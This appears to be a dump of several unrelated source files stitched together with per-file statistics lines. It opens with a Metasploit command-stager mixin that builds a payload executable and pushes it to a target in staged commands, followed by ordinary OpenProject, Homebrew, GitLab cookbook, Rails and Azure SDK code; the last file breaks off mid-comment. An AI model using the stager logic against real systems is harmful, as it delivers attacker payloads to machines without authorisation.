if flavors.empty? flavors.unshift('auto') register_advanced_options( [ OptEnum.new('CMDSTAGER::FLAVOR', [false, 'The CMD Stager to use.', 'auto', flavors]), OptString.new('CMDSTAGER::DECODER', [false, 'The decoder stub to use.']), OptString.new('CMDSTAGER::TEMP', [false, 'Writable directory for staged files']), OptBool.new('CMDSTAGER::SSL', [false, 'Use SSL/TLS for supported stagers', false]) ], self.class) end # Executes the command stager while showing the progress. This method should # be called from exploits using this mixin. # # @param opts [Hash] Hash containing configuration options. Also allow to # send opts to the Rex::Exploitation::CmdStagerBase constructor. # @option opts :flavor [Symbol] The CMD Stager to use. # @option opts :decoder [Symbol] The decoder stub to use. # @option opts :delay [Float] Delay between command executions. # @return [void] def execute_cmdstager(opts = {}) self.cmd_list = generate_cmdstager(opts) stager_instance.setup(self) begin execute_cmdstager_begin(opts) sent = 0 total_bytes = 0 cmd_list.each { |cmd| total_bytes += cmd.length } delay = opts[:delay] delay ||= 0.25 cmd_list.each do |cmd| execute_command(cmd, opts) sent += cmd.length # In cases where a server has multiple threads, we want to be sure that # commands we execute happen in the correct (serial) order. ::IO.select(nil, nil, nil, delay) progress(total_bytes, sent) end execute_cmdstager_end(opts) ensure stager_instance.teardown(self) end end # Generates a cmd stub based on the current target's architecture # and platform. # # @param opts [Hash] Hash containing configuration options. Also allow to # send opts to the Rex::Exploitation::CmdStagerBase constructor. # @option opts :flavor [Symbol] The CMD Stager to use. # @option opts :decoder [Symbol] The decoder stub to use. # @param pl [String] String containing the payload to execute # @return [Array] The list of commands to execute # @raise [ArgumentError] raised if the exe or cmd stub cannot be generated def generate_cmdstager(opts = {}, pl = nil) select_cmdstager(opts) exe_opts = {code: pl}.merge( platform: target_platform, arch: target_arch ) self.exe = generate_payload_exe(exe_opts) if exe.nil? raise ArgumentError, 'The executable could not be generated' end self.stager_instance = create_stager if datastore['CMDSTAGER::TEMP'] opts[:temp] = datastore['CMDSTAGER::TEMP'] elsif datastore['WritableDir'] opts[:temp] = datastore['WritableDir'] end if stager_instance.respond_to?(:http?) && stager_instance.http? opts[:ssl] = datastore['CMDSTAGER::SSL'] unless opts.key?(:ssl) opts[:payload_uri] = start_service(opts) end cmd_list = stager_instance.generate(opts_with_decoder(opts)) if cmd_list.nil? || cmd_list.length.zero? raise ArgumentError, 'The command stager could not be generated' end vprint_status("Generated command stager: #{cmd_list.inspect}") cmd_list end # Show the progress of the upload while cmd staging # # @param total [Float] The total number of bytes to send. # @param sent [Float] The number of bytes sent. # @return [void] def progress(total, sent) done = (sent.to_f / total.to_f) * 100 percent = "%3.2f%%" % done.to_f print_status("Command Stager progress - %7s done (%d/%d bytes)" % [percent, sent, total]) end # Selects the correct cmd stager and decoder stub to use # # @param opts [Hash] Hash containing the options to select the correct cmd # stager and decoder. # @option opts :flavor [Symbol] The cmd stager to use. # @option opts :decoder [Symbol] The decoder stub to use. # @return [void] # @raise [ArgumentError] raised if a cmd stager cannot be selected or it # isn't compatible with the target platform. def select_cmdstager(opts = {}) self.flavor = select_flavor(opts) raise ArgumentError, "Unable to select CMD Stager" if flavor.nil? raise ArgumentError, "The CMD Stager '#{flavor}' isn't compatible with the target" unless compatible_flavor?(flavor) self.decoder = select_decoder(opts) end # Returns a hash with the :decoder option if possible # # @param opts [Hash] Input Hash. # @return [Hash] Hash with the input data and a :decoder option when # possible. def opts_with_decoder(opts = {}) return opts if opts.include?(:decoder) return opts.merge(:decoder => decoder) if decoder opts end # Create an instance of the flavored stager. # # @return [Rex::Exploitation::CmdStagerBase] The cmd stager to use. # @raise [NoMethodError] raised if the flavor doesn't exist. def create_stager STAGERS[flavor].new(exe) end # Returns the default decoder stub for the input flavor. # # @param f [Symbol] the input flavor. # @return [Symbol] the decoder. # @return [nil] if there isn't a default decoder to use for the current # cmd stager flavor. def default_decoder(f) DECODERS[f] end # Selects the correct cmd stager decoder to use based on three rules: (1) use # the decoder provided in input options, (2) use the decoder provided by the # user through datastore options, (3) select the default decoder for the # current cmd stager flavor if available. # # @param opts [Hash] Hash containing the options to select the correct # decoder. # @option opts :decoder [String] The decoder stub to use. # @return [String] The decoder. # @return [nil] if a decoder cannot be selected. def select_decoder(opts = {}) return opts[:decoder] if opts.include?(:decoder) return datastore['CMDSTAGER::DECODER'] unless datastore['CMDSTAGER::DECODER'].blank? default_decoder(flavor) end # Selects the correct cmd stager to use based on three rules: (1) use the # flavor provided in options, (2) use the flavor provided by the user # through datastore options, (3) guess the flavor using the target platform. # # @param opts [Hash] Hash containing the options to select the correct cmd # stager # @option opts :flavor [Symbol] The cmd stager flavor to use. # @return [Symbol] The flavor to use. # @return [nil] if a flavor cannot be selected. def select_flavor(opts = {}) return opts[:flavor].to_sym if opts.include?(:flavor) unless datastore['CMDSTAGER::FLAVOR'].blank? or datastore['CMDSTAGER::FLAVOR'] == 'auto' return datastore['CMDSTAGER::FLAVOR'].to_sym end guess_flavor end # Guess the cmd stager flavor to use using information from the module, # target or platform. # # @return [Symbol] The cmd stager flavor to use. # @return [nil] if the cmd stager flavor cannot be guessed. def guess_flavor # First try to guess a compatible flavor based on the module & target information. unless target_flavor.nil? case target_flavor when Array return target_flavor[0].to_sym when String return target_flavor.to_sym when Symbol return target_flavor end end # Second try to guess a compatible flavor based on the target platform. return nil unless target_platform.names.length == 1 c_platform = target_platform.names.first case c_platform when /linux/i :bourne when /osx/i :bourne when /unix/i :bourne when /win/i :vbs else nil end end # Returns all the compatible stager flavors specified by the module and each # of its targets. # # @return [Array] the list of all compatible cmd stager flavors. def module_flavors flavors = [] flavors += Array(module_info['CmdStagerFlavor']) if module_info['CmdStagerFlavor'] targets.each do |target| flavors += Array(target.opts['CmdStagerFlavor']) if target.opts['CmdStagerFlavor'] end flavors.uniq! flavors.map { |flavor| flavor.to_s } end # Returns the compatible stager flavors for the current target or module. # # @return [Array] the list of compatible cmd stager flavors. # @return [Symbol] the compatible cmd stager flavor. # @return [String] the compatible cmd stager flavor. # @return [nil] if there isn't any compatible flavor defined. def target_flavor return target.opts['CmdStagerFlavor'] if target && target.opts['CmdStagerFlavor'] return module_info['CmdStagerFlavor'] if module_info['CmdStagerFlavor'] nil end # Answers if the input flavor is compatible with the current target or module. # # @param f [Symbol] The flavor to check # @return [Boolean] true if compatible, false otherwise. def compatible_flavor?(f) return true if target_flavor.nil? case target_flavor when String return true if target_flavor == f.to_s when Array target_flavor.each { |tr| return true if tr.to_sym == f } when Symbol return true if target_flavor == f end false end # Code to execute before the cmd stager stub. This method is designed to be # overriden by a module this mixin. # # @param opts [Hash] Hash of configuration options. def execute_cmdstager_begin(opts = {}) end # Code to execute after the cmd stager stub. This method is designed to be # overriden by a module this mixin. # # @param opts [Hash] Hash of configuration options. def execute_cmdstager_end(opts = {}) end # Code called to execute each command via an arbitrary module-defined vector. # This method needs to be overriden by modules using this mixin. # # @param cmd [String] The command to execute. # @param opts [Hash] Hash of configuration options. def execute_command(cmd, opts = {}) raise NotImplementedError end end end
33.750716
120
0.692334
6aa8d72ad56c20bef54a2147d093ac18abbe0ffd
2,498
#-- encoding: UTF-8 #-- copyright # OpenProject is a project management system. # Copyright (C) 2012-2018 the OpenProject Foundation (OPF) # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License version 3. # # OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows: # Copyright (C) 2006-2017 Jean-Philippe Lang # Copyright (C) 2010-2013 the ChiliProject Team # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. # # See docs/COPYRIGHT.rdoc for more details. #++ class Queries::Projects::Filters::NameAndIdentifierFilter < Queries::Projects::Filters::ProjectFilter def type :string end def where case operator when '=' where_equal when '!' where_not_equal when '~' where_contains when '!~' where_not_contains end end def human_name I18n.t('query_fields.name_or_identifier') end def self.key :name_and_identifier end private def concatenate_with_values(condition, concatenation) conditions = [] assignments = [] values.each do |value| conditions << condition assignments += [yield(value), yield(value)] end [conditions.join(" #{concatenation} "), *assignments] end def where_equal concatenate_with_values('LOWER(projects.identifier) = ? OR LOWER(projects.name) = ?', 'OR', &:downcase) end def where_not_equal where_not(where_equal) end def where_contains concatenate_with_values('LOWER(projects.identifier) LIKE ? OR LOWER(projects.name) LIKE ?', 'OR') do |value| "%#{value.downcase}%" end end def where_not_contains where_not(where_contains) end def where_not(condition) conditions = condition conditions[0] = "NOT(#{conditions[0]})" conditions end end
26.574468
112
0.71257
fff4481b607fe802cb6d68089a6caeb5cf247794
505
cask :v1 => 'selfcontrol' do version '2.0.2' sha256 'cd1fb7bd5524d81e784ad67f8639cfb836261f07d7e6db75458a398b17f9a1f9' url "http://downloads.selfcontrolapp.com/SelfControl-#{version}.zip" appcast 'http://selfcontrolapp.com/SelfControlAppcast.xml', :sha256 => '05d48c097c072ffd92d4d938b6984c8a09f446a556dc30acf25e3896cc3e0826' homepage 'http://selfcontrolapp.com/' license :unknown app 'SelfControl.app' zap :delete => '~/Library/Preferences/org.eyebeam.SelfControl.plist' end
33.666667
87
0.768317
ff9db476c90201533bfa0e20ff5d1b91159fca3a
3,824
# # Copyright:: Copyright (c) 2016 GitLab Inc. # License:: Apache License, Version 2.0 # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # module Nginx class << self def parse_variables parse_nginx_listen_ports end def generate_host_header(fqdn, port, is_https) header = fqdn.dup if is_https header << ":#{port}" unless port == 443 else header << ":#{port}" unless port == 80 end header end def parse_nginx_listen_ports [ [%w(nginx listen_port), %w(gitlab_rails gitlab_port)], [%w(mattermost_nginx listen_port), %w(mattermost port)], [%w(pages_nginx listen_port), %w(gitlab_rails pages_port)], ].each do |left, right| next unless Gitlab[left.first][left.last].nil? # This conditional is required until all services are extracted to # their own cookbook. Mattermost exists directly on node while # others exists on node['gitlab'] service_name_key = right.first.tr('_', '-') service_attribute_key = right.last default_set_gitlab_port = if Gitlab['node']['gitlab'].key?(service_name_key) Gitlab['node']['gitlab'][service_name_key][service_attribute_key] else Gitlab['node'][service_name_key][service_attribute_key] end user_set_gitlab_port = Gitlab[right.first][right.last] Gitlab[left.first][left.last] = user_set_gitlab_port || default_set_gitlab_port end end def parse_proxy_headers(app, https) values_from_gitlab_rb = Gitlab[app]['proxy_set_headers'] dashed_app = app.tr('_', '-') default_from_attributes = Gitlab['node']['gitlab'][dashed_app]['proxy_set_headers'].to_hash default_from_attributes = if https default_from_attributes.merge({ 'X-Forwarded-Proto' => "https", 'X-Forwarded-Ssl' => "on" }) else default_from_attributes.merge({ "X-Forwarded-Proto" => "http" }) end if values_from_gitlab_rb values_from_gitlab_rb.each do |key, value| if value.nil? default_attrs = Gitlab['node'].default['gitlab'][dashed_app]['proxy_set_headers'] default_attrs.delete(key) end end default_from_attributes = default_from_attributes.merge(values_from_gitlab_rb.to_hash) end Gitlab[app]['proxy_set_headers'] = default_from_attributes end def parse_error_pages # At the least, provide error pages for 404, 402, 500, 502 errors errors = Hash[%w(404 500 502).map { |x| [x, "#{x}.html"] }] if Gitlab['nginx'].key?('custom_error_pages') Gitlab['nginx']['custom_error_pages'].each_key do |err| errors[err] = "#{err}-custom.html" end end errors end end end
37.126214
101
0.567207
87424bc25b7f347ba6f31620cbdb38d3a44d763c
955
# coding: utf-8 lib = File.expand_path('../lib', __FILE__) $LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib) require 'pretty_bytes/version' Gem::Specification.new do |spec| spec.name = 'pretty_bytes' spec.version = PrettyBytes::VERSION spec.authors = ['Gabriel Montalvo'] spec.email = ['[email protected]'] spec.summary = %q{Byte converter} spec.description = %q{Convert bytes to a human readable string: 1337 → 1.34 kB} spec.homepage = 'https://github.com/gmontalvoriv/pretty-bytes-rb' spec.license = 'MIT' spec.files = `git ls-files -z`.split("\x0").reject { |f| f.match(%r{^(test|spec|features)/}) } spec.bindir = 'bin' spec.executables << 'pretty-bytes' spec.require_paths = ['lib'] spec.add_development_dependency 'bundler', "~> 1.11" spec.add_development_dependency 'rake', "~> 10.0" spec.add_development_dependency 'rspec', "~> 3.0" end
36.730769
104
0.649215
ac96a8c8af29ed7e7d00b1d245903e38fbd810f1
725
cask 'font-monoid-halftight-dollar-l-nocalt' do version :latest sha256 :no_check # github.com/larsenwork/monoid was verified as official when first introduced to the cask url 'https://github.com/larsenwork/monoid/blob/release/Monoid-HalfTight-Dollar-l-NoCalt.zip?raw=true' name 'Monoid-HalfTight-Dollar-l-NoCalt' homepage 'http://larsenwork.com/monoid/' font 'Monoid-Bold-HalfTight-Dollar-l-NoCalt.ttf' font 'Monoid-Italic-HalfTight-Dollar-l-NoCalt.ttf' font 'Monoid-Regular-HalfTight-Dollar-l-NoCalt.ttf' font 'Monoid-Retina-HalfTight-Dollar-l-NoCalt.ttf' caveats <<~EOS #{token} is dual licensed with MIT and OFL licenses. https://github.com/larsenwork/monoid/tree/master#license EOS end
36.25
103
0.758621
79decfc673f9fd7d60f66947e98030a2dd4d56e8
171
module Commontator::ApplicationHelper include UsersHelper include SessionsHelper def javascript_proc Commontator.javascript_proc.call(self).html_safe end end
19
52
0.818713
037efe31ff40c1a0a23f8f00475d623ae4f68490
664
$:.unshift File.dirname(__FILE__) require 'aws' require 'yaml' class Ec2Name def run @name = ARGV[0] if @name.nil? fail("ERROR: Need to supply a name. Usage: #{__FILE__} [name]") end config = YAML.load(IO.read("#{ENV['HOME']}/.br-cloud.yml")) @ec2 = Aws::Ec2.new( config[:aws_access_key_id], config[:aws_secret_access_key] ) instance_id = ENV['INSTANCE_ID'] || `curl -s http://169.254.169.254/latest/meta-data/instance-id` puts "Creating tag Name #{@name} for instance #{instance_id}" @ec2.create_tag(instance_id, 'Name', @name) puts "Created tag Name #{@name} for instance #{instance_id}" end end
27.666667
101
0.64006
1d7ba23a076ba2ab3a8d29156076d76b872ff610
1,900
require File.dirname(__FILE__) + '/test_helper' Expectations do expect Tag do Post.new.tags.build end expect Tagging do Post.new.taggings.build end expect ["is_taggable", "has 'tags' by default"] do n = Comment.new :tag_list => "is_taggable, has 'tags' by default" n.tag_list end expect ["one", "two"] do IsTaggable::TagList.delimiter = " " n = Comment.new :tag_list => "one two" IsTaggable::TagList.delimiter = "," # puts things back to avoid breaking following tests n.tag_list end expect ["something cool", "something else cool"] do p = Post.new :tag_list => "something cool, something else cool" p.tag_list end expect ["something cool", "something new"] do p = Post.new :tag_list => "something cool, something else cool" p.save! p.tag_list = "something cool, something new" p.save! p.tags.reload p.instance_variable_set("@tag_list", nil) p.tag_list end expect ["english", "french"] do p = Post.new :language_list => "english, french" p.save! p.tags.reload p.instance_variable_set("@language_list", nil) p.language_list end expect ["english", "french"] do p = Post.new :language_list => "english, french" p.language_list end expect "english,french" do p = Post.new :language_list => "english, french" p.language_list.to_s end # added - should clean up strings with arbitrary spaces around commas expect ["spaces","should","not","matter"] do p = Post.new p.tag_list = "spaces,should, not,matter" p.save! p.tags.reload p.tag_list end expect ["blank","topics","should be ignored"] do p = Post.new p.tag_list = "blank, topics, should be ignored, " p.save! p.tags.reload p.tag_list end expect 2 do p = Post.new :language_list => "english, french" p.save! p.tags.length end end
23.75
92
0.646316
edd764d7c66eb2bac4cf787b55bab7f280da53d2
68
class PagesController < ApplicationController def home end end
11.333333
45
0.794118
ed959a9b1e7a35d04deed639660f8dcc9bfa7e13
194
require 'ulticoder/view_helpers' module Ulticoder class Railtie < Rails::Railtie initializer "ulticoder.view_helpers" do ActionView::Base.send :include, ViewHelpers end end end
24.25
49
0.752577
187ac0615d7bbe463abc77761ccaf9b88931d805
1,311
class Zimg < Formula desc "Scaling, colorspace conversion, and dithering library" homepage "https://github.com/sekrit-twc/zimg" url "https://github.com/sekrit-twc/zimg/archive/release-2.5.tar.gz" sha256 "50b2bcc49e51cd36011a0c363ff914a81b6f161aefdffeaa2bc4a4627c13784d" head "https://github.com/sekrit-twc/zimg.git" bottle do cellar :any sha256 "da98055f222b406921f6962beec1f5b33c0baccc5dbbc99662f861e1b030d3b6" => :sierra sha256 "191db67e378323bc2e9ca1092eeb0f96457f27cd374d115088078f608965a20f" => :el_capitan end depends_on "autoconf" => :build depends_on "automake" => :build depends_on "libtool" => :build # Upstream has decided not to fix https://github.com/sekrit-twc/zimg/issues/52 depends_on :macos => :el_capitan def install system "./autogen.sh" system "./configure", "--prefix=#{prefix}" system "make", "install" end test do (testpath/"test.c").write <<-EOS.undent #include <assert.h> #include <zimg.h> int main() { zimg_image_format format; zimg_image_format_default(&format, ZIMG_API_VERSION); assert(ZIMG_MATRIX_UNSPECIFIED == format.matrix_coefficients); return 0; } EOS system ENV.cc, "test.c", "-L#{lib}", "-lzimg", "-o", "test" system "./test" end end
29.795455
92
0.68955
213e1d4b1447fe1313f2200ec5068ce14a15a4ef
120
require File.dirname(__FILE__) + '/lib/acts_as_attachable' ActiveRecord::Base.send(:include, Redmine::Acts::Attachable)
40
60
0.791667
bb5eb5d727172500df2780bab9ae702cc4831bd3
177
module MongoDoc module Document def errors_on(attribute) self.valid? [self.errors[attribute]].flatten.compact end alias :error_on :errors_on end end
17.7
46
0.689266
d5d8c5a333f945cdc5105544f1bbef48c07813a6
2,414
class Libinfinity < Formula desc "GObject-based C implementation of the Infinote protocol" homepage "https://gobby.github.io" url "http://releases.0x539.de/libinfinity/libinfinity-0.6.8.tar.gz" sha256 "0c4e7e0e5cb6ad5df4dbe19568de37b100a13e61475cf9d4e0f2a68fcdd2d45b" revision 1 bottle do # sha256 "a95d07fc7f92c09d4867cbe74adca17e3895a29538bc747f742226ae7d9dbc10" => :mojave sha256 "5a82262c8519af2c73c3ee69c9632031cc6e7cc6bc52c2eef5defe74025b7a24" => :high_sierra sha256 "d9791b732d6a5c1bbba29941cfc8e0847c92bacebc43cdf9aef26799e8bada8f" => :sierra sha256 "ad024ec7122272de003ebfee98ffa2c0518d40061dbf7631627e720ef27ad4e9" => :el_capitan end depends_on "pkg-config" => :build depends_on "glib" depends_on "gnutls" depends_on "gsasl" depends_on "gtk+3" # MacPorts patch to fix pam include. This is still applicable to 0.6.4. patch :p0 do url "https://raw.githubusercontent.com/Homebrew/formula-patches/f8e3d2e4/libinfinity/patch-infinoted-infinoted-pam.c.diff" sha256 "d5924d6ee90c3aa756e52b97e32345dc1d77afdb5e4e0de8eac2a343d95ade00" end def install system "./configure", "--disable-dependency-tracking", "--prefix=#{prefix}", "--with-gtk3", "--with-inftextgtk", "--with-infgtk" system "make", "install" end test do (testpath/"test.c").write <<~EOS #include <libinfinity/common/inf-init.h> int main(int argc, char *argv[]) { GError *error = NULL; gboolean status = inf_init(&error); return 0; } EOS ENV.libxml2 gettext = Formula["gettext"] glib = Formula["glib"] gnutls = Formula["gnutls"] gsasl = Formula["gsasl"] libtasn1 = Formula["libtasn1"] nettle = Formula["nettle"] flags = %W[ -I#{gettext.opt_include} -I#{glib.opt_include}/glib-2.0 -I#{glib.opt_lib}/glib-2.0/include -I#{gnutls.opt_include} -I#{gsasl.opt_include} -I#{include}/libinfinity-0.6 -I#{libtasn1.opt_include} -I#{nettle.opt_include} -D_REENTRANT -L#{gettext.opt_lib} -L#{glib.opt_lib} -L#{gnutls.opt_lib} -L#{gsasl.opt_lib} -L#{lib} -lglib-2.0 -lgnutls -lgobject-2.0 -lgsasl -lgthread-2.0 -linfinity-0.6 -lintl -lxml2 ] system ENV.cc, "test.c", "-o", "test", *flags system "./test" end end
30.556962
126
0.657415
91a2de237f9a3e10b5e4ddc09fbd3214da7b1ca7
285
module Jimmy class Entry class RubyErrorFormatter def attributes_for_error(error) { error_class: error.class.name, error_message: error.message, error_backtrace: Array(error.backtrace).join("\n"), } end end end end
20.357143
61
0.607018
26efa952113d2bf5f8944eb41a20e1d00b0c62e2
2,007
# # Copyright:: Copyright (c) 2012 Opscode, Inc. # Copyright:: Copyright (c) 2016 Gitlab Inc. # License:: Apache License, Version 2.0 # # Licensed under the Apache License, Version 2.0 (the 'License'); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an 'AS IS' BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # account_helper = AccountHelper.new(node) postgresql_user = account_helper.postgresql_user postgres_exporter_log_dir = node['gitlab']['postgres-exporter']['log_directory'] postgres_exporter_static_etc_dir = "/opt/gitlab/etc/postgres-exporter" postgres_exporter_dir = node['gitlab']['postgres-exporter']['home'] include_recipe 'postgresql::user' directory postgres_exporter_log_dir do owner postgresql_user mode '0700' recursive true end directory postgres_exporter_dir do owner postgresql_user mode '0700' recursive true end env_dir File.join(postgres_exporter_static_etc_dir, 'env') do variables node['gitlab']['postgres-exporter']['env'] restarts ["service[postgres-exporter]"] end runtime_flags = PrometheusHelper.new(node).kingpin_flags('postgres-exporter') runit_service 'postgres-exporter' do options({ log_directory: postgres_exporter_log_dir, flags: runtime_flags }.merge(params)) log_options node['gitlab']['logging'].to_hash.merge(node['registry'].to_hash) end template File.join(postgres_exporter_dir, 'queries.yaml') do source 'postgres-queries.yaml' owner postgresql_user mode '0644' notifies :restart, 'service[postgres-exporter]' end if node['gitlab']['bootstrap']['enable'] execute "/opt/gitlab/bin/gitlab-ctl start postgres-exporter" do retries 20 end end
31.359375
80
0.767314
1d82b73f3f1f81129b62de4f67c4487a99c76e28
149
# frozen_string_literal: true RSpec.describe ActionTable do it 'has a version number' do expect(ActionTable::VERSION).not_to be nil end end
18.625
46
0.758389
bb2d1abc365db4fe94b3a020f820305254759a17
959
# coding: utf-8 lib = File.expand_path('../lib', __FILE__) $LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib) require 'dvb/version' Gem::Specification.new do |spec| spec.name = "dvb" spec.version = DVB::VERSION spec.authors = ["Chris Elsworth"] spec.email = ["[email protected]"] spec.summary = "" spec.homepage = "" spec.license = "MIT" #spec.files = `git ls-files -z`.split("\x0") spec.files = Dir['lib/**/*.rb'] + Dir['bin/*'] + Dir['ext/**/*.c'] + Dir['ext/**/extconf.rb'] spec.executables = spec.files.grep(%r{^bin/}) { |f| File.basename(f) } spec.test_files = spec.files.grep(%r{^(test|spec|features)/}) spec.require_paths = ['lib', 'ext'] spec.extensions = Dir['ext/**/extconf.rb'] spec.add_development_dependency "bundler" spec.add_development_dependency "reek" spec.add_development_dependency "rake" spec.add_development_dependency "rake-compiler" end
33.068966
103
0.631908
28e8db97063e3a7cb0d93cce5aa74c4a5e3843fb
970
class Minizinc < Formula desc "Medium-level constraint modeling language" homepage "https://www.minizinc.org/" url "https://github.com/MiniZinc/libminizinc/archive/2.5.0.tar.gz" sha256 "a92be5e1f0d7a2d7177341650cbb976114aa4e1e2f260b1e9dada28ebf044b30" license "MPL-2.0" head "https://github.com/MiniZinc/libminizinc.git", branch: "develop" bottle do cellar :any_skip_relocation sha256 "3761bf1a5f715d47c2292fa0e71d5edaf66dc5d18362952a19c9ab61bdb5f4dd" => :catalina sha256 "10169d25a64dd162ac28aaccd6296efaa084c380942115c0ce7ba17ac7a0ffc7" => :mojave sha256 "ea375d5c130fa16354d6b48c01aa32752593da13526afabab3bf3e79c93953f7" => :high_sierra end depends_on "cmake" => :build depends_on arch: :x86_64 def install mkdir "build" do system "cmake", "..", *std_cmake_args system "cmake", "--build", ".", "--target", "install" end end test do system bin/"mzn2doc", pkgshare/"std/all_different.mzn" end end
32.333333
93
0.74433
3859b8f7746e1d7b519edfc436851315dd1869e4
697
# # Cookbook Name:: mocks # Attributes:: vler # # default[:vler][:protocol] = "http" default[:vler][:port] = 80 default[:vler][:doc_query][:protocol] = "http" default[:vler][:doc_query][:path] = "/VLERMockDocQuery/NHINAdapterGatewayDocQuery/EntityDocQuery" default[:vler][:doc_query][:path_query] = "wsdl" default[:vler][:doc_query][:timeout] = 45000 default[:vler][:doc_retrieve][:protocol] = "http" default[:vler][:doc_retrieve][:path] = "/VLERMockDocRetrieve/NHINAdapterGatewayDocRetrieve/EntityDocRetrieve" default[:vler][:doc_retrieve][:path_query] = "wsdl" default[:vler][:doc_retrieve][:timeout] = 45000 default[:vler][:system_user_name] = "ehmp" default[:vler][:system_site_code] = "200"
36.684211
109
0.730273
ff9d95c9cd913b6dd2addd5cbf839036773c8b48
903
require "testing_env" require "formula_installer" require "hooks/bottles" class BottleHookTests < Homebrew::TestCase class FormulaDouble def bottle; end def local_bottle_path; end def some_random_method true end end def setup @fi = FormulaInstaller.new FormulaDouble.new end def test_has_bottle Homebrew::Hooks::Bottles.setup_formula_has_bottle(&:some_random_method) assert_predicate @fi, :pour_bottle? end def test_has_no_bottle Homebrew::Hooks::Bottles.setup_formula_has_bottle do |f| !f.some_random_method end refute_predicate @fi, :pour_bottle? end def test_pour_formula_bottle Homebrew::Hooks::Bottles.setup_formula_has_bottle do |_f| true end Homebrew::Hooks::Bottles.setup_pour_formula_bottle(&:some_random_method) @fi.pour end def teardown Homebrew::Hooks::Bottles.reset_hooks end end
20.522727
76
0.736434
211dfffdea6c7e76fb9232735b657fca532eba82
1,254
Rails.application.routes.draw do root 'top_pages#home' get '/contact', to: "top_pages#contact" get '/signup', to: "players#new" post '/signup', to: "players#create" get '/login', to: 'sessions#new' post '/login', to: 'sessions#create' delete '/logout', to: 'sessions#destroy' get '/team/login', to: 'team_sessions#new' post '/team/login', to: 'team_sessions#create' # delete '/team/logout', to: 'team_sessions#destroy' resources :teams do member do get :following, :followers, :calendar, :team_stats end # カレンダーのイベントルート resources :events end resources :players do member do get :message, :message_show, :edit_stats patch :update_stats end end resources :account_activations, only: [:edit] resources :password_resets, only: [:new, :create, :edit, :update] resources :microposts do # コメント機能用のルーティング resources :comments, except: [:index,:show] do # メンバールーティングを追加 member do get :reply end end end resources :relationships, only: [:create, :destroy] # RSSフィード用のルーティング resources :feeds, only: [:index], defaults: { format: :rss } # ActionCableを利用するため mount ActionCable.server => '/cable' end
29.857143
71
0.642743
5d14972e3d6af969082538631f938254762332f8
3,528
require 'test_helper' class RegistrantChangeMailerTest < ActionMailer::TestCase setup do @domain = domains(:shop) end def test_delivers_confirmation_request_email assert_equal 'shop.test', @domain.name assert_equal '[email protected]', @domain.registrant.email email = RegistrantChangeMailer.confirmation_request(domain: @domain, registrar: @domain.registrar, current_registrant: @domain.registrant, new_registrant: @domain.registrant) .deliver_now assert_emails 1 assert_equal ['[email protected]'], email.to assert_equal 'Kinnitustaotlus domeeni shop.test registreerija vahetuseks' \ ' / Application for approval for registrant change of shop.test', email.subject end def test_delivers_notification_email new_registrant = contacts(:william) assert_equal 'shop.test', @domain.name assert_equal '[email protected]', new_registrant.email email = RegistrantChangeMailer.notification(domain: @domain, registrar: @domain.registrar, current_registrant: @domain.registrant, new_registrant: new_registrant).deliver_now assert_emails 1 assert_equal ['[email protected]'], email.to assert_equal 'Domeeni shop.test registreerija vahetus protseduur on algatatud' \ ' / shop.test registrant change', email.subject end def test_delivers_confirmation_email new_registrant = contacts(:william) assert_equal 'shop.test', @domain.name assert_equal '[email protected]', @domain.registrant.email assert_equal '[email protected]', new_registrant.email email = RegistrantChangeMailer.accepted(domain: @domain, old_registrant: new_registrant).deliver_now assert_emails 1 assert_equal %w[[email protected] [email protected]], email.to assert_equal 'Domeeni shop.test registreerija vahetus teostatud' \ ' / Registrant change of shop.test has been finished', email.subject end def test_delivers_rejection_email assert_equal 'shop.test', @domain.name @domain.update!(pending_json: { new_registrant_email: '[email protected]' }) email = RegistrantChangeMailer.rejected(domain: @domain, registrar: @domain.registrar, registrant: @domain.registrant).deliver_now assert_emails 1 assert_equal ['[email protected]'], email.to assert_equal 'Domeeni shop.test registreerija vahetuse taotlus tagasi lükatud' \ ' / shop.test registrant change declined', email.subject end def test_delivers_expiration_email assert_equal 'shop.test', @domain.name @domain.update!(pending_json: { new_registrant_email: '[email protected]' }) email = RegistrantChangeMailer.expired(domain: @domain, registrar: @domain.registrar, registrant: @domain.registrant).deliver_now assert_emails 1 assert_equal ['[email protected]'], email.to assert_equal 'Domeeni shop.test registreerija vahetuse taotlus on tühistatud' \ ' / shop.test registrant change cancelled', email.subject end end
43.02439
96
0.63322
f79cae5614447f96249c68ae9416d855e587a207
6,878
# encoding: utf-8 # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is # regenerated. module Azure::Network::Mgmt::V2020_04_01 module Models # # Inbound NAT pool of the load balancer. # class InboundNatPool < SubResource include MsRestAzure # @return [SubResource] A reference to frontend IP addresses. attr_accessor :frontend_ipconfiguration # @return [TransportProtocol] The reference to the transport protocol # used by the inbound NAT pool. Possible values include: 'Udp', 'Tcp', # 'All' attr_accessor :protocol # @return [Integer] The first port number in the range of external ports # that will be used to provide Inbound Nat to NICs associated with a load # balancer. Acceptable values range between 1 and 65534. attr_accessor :frontend_port_range_start # @return [Integer] The last port number in the range of external ports # that will be used to provide Inbound Nat to NICs associated with a load # balancer. Acceptable values range between 1 and 65535. attr_accessor :frontend_port_range_end # @return [Integer] The port used for internal connections on the # endpoint. Acceptable values are between 1 and 65535. attr_accessor :backend_port # 